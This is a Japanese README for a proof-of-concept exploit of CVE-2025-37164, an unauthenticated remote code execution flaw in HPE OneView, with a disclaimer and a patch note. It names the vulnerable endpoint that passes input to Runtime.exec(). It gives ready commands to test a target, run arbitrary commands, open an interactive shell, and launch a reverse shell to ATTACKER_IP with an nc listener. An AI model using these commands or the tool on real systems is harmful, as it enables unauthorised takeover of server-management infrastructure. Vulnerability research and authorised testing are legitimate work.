CVE-2025-37164 - HPE OneView 未認証RCE PoC

HPE OneView における重大な（CVSS 10.0）未認証リモートコード実行脆弱性 CVE-2025-37164 の概念実証エクスプロイトです。

免責事項

本ソフトウェアは教育目的および許可されたセキュリティテスト目的でのみ提供されます。

• 自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください
• コンピュータシステムへの不正アクセスは違法です
• 作者は本ツールの誤用や損害について一切の責任を負いません
• 本ツールは防御的なセキュリティ研究および管理された環境でのペネトレーションテストを目的としています

脆弱性の詳細

• CVE ID: CVE-2025-37164
• CVSS スコア: 10.0（CRITICAL）
• ベンダー: Hewlett Packard Enterprise (HPE)
• 製品: HPE OneView（11.0 より前のバージョン）
• 種類: 未認証リモートコード実行
• パッチ: HPE OneView 11.0 以上にアップグレード

技術的分析: 脆弱性は PUT /rest/id-pools/executeCommand エンドポイントに存在します。このエンドポイントは認証を必要とせず、ユーザー制御の入力を Runtime.exec() に直接渡します。

前提条件

• Python 3.6+
• requests ライブラリ（pip install requests）
• 脆弱な HPE OneView インスタンス（「id pools」機能が有効であること）

使い方

# ターゲットが脆弱かテスト
python3 cve-2025-37164.py -t http://target-ip --check

# 単一コマンドの実行
python3 cve-2025-37164.py -t http://target-ip -c "id"

# インタラクティブコマンドシェル
python3 cve-2025-37164.py -t http://target-ip -i

# リバースシェルの試行（リスナーが必要）
# 攻撃側マシンで: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444